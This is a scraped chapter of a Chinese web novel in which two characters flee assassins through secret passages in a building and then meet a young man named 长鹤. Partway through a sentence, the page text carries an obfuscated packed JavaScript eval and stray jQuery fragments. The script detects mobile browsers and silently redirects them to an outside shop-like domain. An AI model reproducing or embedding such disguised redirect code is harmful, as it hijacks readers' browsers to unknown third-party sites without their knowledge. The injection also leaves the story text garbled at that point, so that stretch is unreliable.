文趣网 > 其他小说 > 上善若我 > 42. 国公府之乱(陆)
    裴遣看着她眼中爆发而出的光芒,愣了一下,不由问道:“你知道什么了?”

    镜夕涧问道:“你来的时候,注意到走廊和房间的布置了吗?”

    裴遣显然又是一愣:“什么布置,正常走廊不都是这样的吗?”

    “不,我来的时候仔细观察了,这条走廊的墙面上,每隔一段距离,都会有一根微微凸出的琉璃装饰画,看起来就像一个从顶到底的细长窗户一样。”

    裴遣一想,镜夕涧这么一说,他的确有些印象,不过也仅仅是一点点而已,他不知道镜夕涧想说什么:“装饰嘛,应该是为了美观吧,就跟柱子一样,要是整个走廊连个装饰都没有,岂不单调?”

    “装饰?”镜夕涧反问,“你会选从顶到底的琉璃做装饰吗?还是嵌入式的。”

    是啊,为了合整体视觉氛围,就算有用于分隔房间的柱子,也通常会选择用浮雕,整块的琉璃画的确稍显突兀。

    镜夕涧看着他:“而且你可能不知道,我来的时候,走廊里其实没人,那些杀手是突然之间出现在我面前的,那么我没有打算推开门之前,他们又在哪呢?为什么能在关键时刻冲出来,说明他们一直在观察这个房门前的人,不是吗?”

    裴遣看着她在黑暗中隐隐泛着幽光的眼瞳,一阵寒意从脚底直冲天灵盖:“你、你别吓人啊!”

    镜夕涧翻了个白眼:“谁吓你了?我想说的是,既然我没有看到他们,那就说明他们藏在暗处,一直观察着我,我在想这条走廊里可以藏人的地方?”

    裴遣这才反应过来,低声道:“你怀疑那个琉璃窗?”

    “我知道有种琉璃,从内往外可以看到外面场景,从外而内,却只能看到一片炫彩,”镜夕涧点点头,指了指房檐,“而且,还有上边。”

    “这条走廊的最顶上做成了檐的形状,就像站在建筑外面,自下而上望的内檐一样,我原本以为只是它的独特设计,现在看来,是有意为之。”

    裴遣捏着下巴思索:“若是他们藏在其中,动作足够快,快到肉眼分辨不清的话,的确可以达到‘突然出现’的效果。”

    这对杀手而言恐怕是最简单的事,速度,就是他们赖以生存的武器。

    怪不得这里的墙壁看着要厚一些,每层的挑高也更高。这里每两个房间之间、包括他们头顶,脚下,都有专供杀手穿梭的暗道!

    偌大的花鸢楼,其实是一个光与影并存,住客与杀手共处的楼中楼!

    意识到这点,两人又是惊出了一身冷汗。

    到底是怎样可怕的一个人,才能想出这样的设计与构思!

    裴遣率先回过神来,他低头征询着镜夕涧的意见:“既要穿梭,每个房间之中也该有暗门,找到的话,我们就可以从暗道出去了。”

    镜夕涧点点头,面上神情却依旧没有丝毫松懈:“可以是可以,但是里面的情况我们不熟悉,我怕……会遇到杀手。”

    裴遣道:“按你刚才分析的来看,里面的应该不会太大,大约就是可供一人通行的样子,在空间有限的情况下,杀手可发挥的余地会缩小得比我们更多,毕竟论起近战,还是我比较擅长。”

    杀手一道,在于诡变,换而言之,就是将杀机隐于暗处,找准时机,用无上速度给予对手致命一击,可若无法藏匿,这等优势便大大降低了。

    毕竟术业有专攻,练习诡道久了,近战就会忽略,但这种时候,拿自己的长处对一下对方的短板也没什么。

    镜夕涧闻言又燃起了干劲,她凑到裴遣跟前,和他计划道:“我来的时候看了,这间房间是整条廊道的倒数第四间,也就是说我们只需要跨过三个房间,就能到达最后一个房间,从而从西面的窗跳出去,西边出去后是后院,到了那里,我们就可以神不知鬼不觉地从花鸢楼后门出去了。”

    他们所在的房间的窗面朝北面,外面都是杀手,但西边的窗就不一样了,后院的房都很低矮,没有藏匿弓箭手的地方,更何况,他们也不会想到他们会从那里出去。

    裴遣补充着:“到时候你在前面找路,我负责后面的杀手,你放心就是了,我不会让他们的暗器伤到你的,只是前面可能会遇到的,还需要你自己多留心。”

    镜夕涧点点头:“事不宜迟,走!”

    两人放轻脚步靠近墙边,在墙壁上摸索一阵,果然摸到了一个机关!

    镜夕涧抬手按下,一道暗门打开,一个漆黑的,神秘的,有陌生的世界在他们面前展开。

    她顾不上心中感慨,冲进黑暗,踮脚一跃,即刻跳上了上方两层楼之间的夹层。

    裴遣紧随其后,而他们的这一动作,显然惊动了窄道里的杀手。

    两人顾不得思考,在两楼层之间的夹层中快步匍匐前行,身后的杀手显然较之他们对此地更熟悉,不一会就缩短了两方之间的差距。

    身后暗器破空的声音听得让人心惊,但镜夕涧选择忽略,她相信裴遣,因此,也要做好自己的事。

    终于……马上就到最后了!

    她加快动作,穿过倒数第二个房间纵身一跃,到了第一个房间与第二个房间之间的夹层。

    可就在此时,镜夕涧瞳孔一缩,这个夹层里,赫然正戍守着一个杀手!

    她连忙摸索着墙壁,想要快速找到暗门,可那杀手却分毫不给她机会,直奔她而来!

    “!!!”

    仅仅是一个瞬间。

    镜夕涧本能感受到了巨大的生存危机,可她就像被钉在原地一般,无法移动分毫。

    她只能眼睁睁看着对方就如一道道重影般急速闪过。

    仅仅是一个眨眼,一个瞬间,就从十余步开外,带着那锋利的杀意到了她面前。

    “当!”

    一道剧烈的金石相撞之声在她耳畔炸开,黑暗中,震得她耳膜发疼。

    “发什么呆?!”

    裴遣怒吼着,语气中带着明显的慌乱,甚至都带了些责备。

    “呼……呼……”

    看着眼前将她挡得严严实实的身影,镜夕涧用力闭上眼,大口地喘着息,才发现自己小腿正不受控制地颤抖着,胃部不停翻涌。

    裴遣见她竟还在发呆,抬起右臂一把搂过她的腰,踮脚一跃,跳了上去。

    从最后一个门暗出去,他们到了最后一个房间,没待多想,裴遣带着镜夕涧破窗纵身一跃,将她护在怀里,翻滚了几圈。

    镜夕涧:“……”

    除了师父,这尚是第一次有人如此护着她,只是现在并不是感动的时候,她扶起疼得龇牙咧嘴的裴遣:“我知道后门在哪,跟我来!”

    两人相互搀扶着一路往后门跑去,可月黑风高,这小小的花鸢楼里,不知埋伏了多少杀手。

    草丛微动,一道银亮光芒自身侧闪出,裴遣瞳孔一缩,咬牙抬手一握,鲜血霎时从他的手中流出。

    镜夕涧心中一惊,忙拽着他往假山之后躲去。

    好在后院地势复杂,假山流水,移景藏

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633778|203364||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    景,此时又是黑夜,两人躲在了一个狭窄的山石中间。

    “你没事吧!”镜夕涧着急地小声道。

    “不碍事。”裴遣额头渗出冷汗,咬牙道,“这么躲着不是事,谁也不知道这后院藏了多少人,碰上就糟了。”

    “……”镜夕涧环视四周,视线定格在眼前房屋的房顶上,“走上面,上面不易藏人。”

    裴遣点点头,两人狼狈翻上房顶,可就在抬眼望去之时,却发现这房顶之上早就有了一个人。

    !!!

    一阵夜风吹过,镜夕涧睁大眼睛,薄唇微张,竟生生愣在了原地。

    那是一个躺在房顶的少年。

    他闭着眼睛,枕着双臂,一条腿放松地搭在另一条腿上,享受着这片刻独属于他的静谧时光。

    少年身后是一轮皎洁的明月,月光如练,为他披了层白纱,这样安逸的画面,与这满含杀机的夜格格不入。

    夜风卷向他,吹得他额头的发丝晃了几晃,让这幅画面顷刻间变得生动起来。少年听到动静,缓缓睁开眼,朝镜夕涧看来。

    而在对上镜夕涧的视线时,原本一脸淡然的少年眼中闪过一丝错愕,慌乱跳起身:“小姐?!”

    “长……鹤?”或许是刚刚的画面对她的冲击有些大,镜夕涧心中莫名有些紧张。她不好意思地理了理自己蓬乱的发髻,谁料原本就松散的发髻被她一碰竟直接散开了,她面上一红,别开了视线。

    “我……我刚做完工,想着来房顶上休息一下,竟然碰到了你们!等等,你们这是……”

    长鹤看到他们的第一眼明显很是高兴,可随即就意识到了什么,紧接着他右耳微动,忽然注意到了某处。他面上一肃:“跟我来。”

    镜夕涧连忙走了过去,只见长鹤蹲下身,掀开几片砖瓦,朝他们一招手,便率先跳了下去。

    下面是一间简洁而干净的房间,放着一个铺着白床单的小床,一个木质衣柜,一套桌椅,地面很干净。

    然而长鹤却有些不好意思地挠了挠后脑:“嗯……房间有些简陋,委屈小姐了。”

    “没事,我们在被追杀,多谢你了。”镜夕涧松了口气。

    长鹤这才看到她身上的穿着,看清的那一瞬间,他面上骤然变得一片通红。

    他迅速别开视线,有些语无伦次:“呃,小、小姐,我这里有外衣,你要穿吗?”

    “……好。”镜夕涧点了点头。

    长鹤从衣柜里拿出一件外衣递给镜夕涧,却全程都不敢看她。

    “惟有南山与君眼,相逢不改旧时青。”

    镜夕涧披上外衣,浅淡地朝他笑着:

    “小长鹤,又见面了。”

    一别三月,时过境迁,却唯有他的眼眸一如初见时那般青翠、清澈,流转着光彩与生机。

    “我……我吗?”长鹤双眼一亮,唇角不受控制地勾起。

    镜夕涧笑着回道:“当然了!”

    这时,外面一道人影略过,长鹤闪身到了窗前,警惕地观察着外面,片刻,才将窗帘拉上,转过身来:“没事的,他们不会进这里。”

    “不过……你们怎么会来这里?”长鹤转身,盯着镜夕涧,看似毫不在意地问道。

    在一对未婚夫妻同时出现之时,应该没有人忽略得掉他们的关系,长鹤也不例外。

    尤其是看着镜夕涧身上的穿着,以及裴遣的状态,他怎么看怎么刺眼,可他又没有立场说些什么,故而只能故作轻松。